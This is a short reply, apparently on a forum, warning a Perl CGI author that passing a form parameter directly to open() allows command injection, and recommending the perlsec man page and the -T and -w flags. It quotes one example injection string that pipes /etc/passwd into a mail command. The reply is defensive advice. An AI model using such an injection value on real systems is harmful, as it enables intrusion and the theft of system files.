Please read the 'perlsec' man page.

You are doing a very dangerous open() call, passing the argument from your HTML form 'name' parameter directly to open. Thus, I can pass an argument of "mail me@example.com </etc/passwd; cat whatever |" and no one would be the wiser. It's not hard to change this into something considerably more destructive.

Please consider running CGI apps with the -T and -w flags, which would catch major security issues like this. The 'perlsec' man page gives more detail.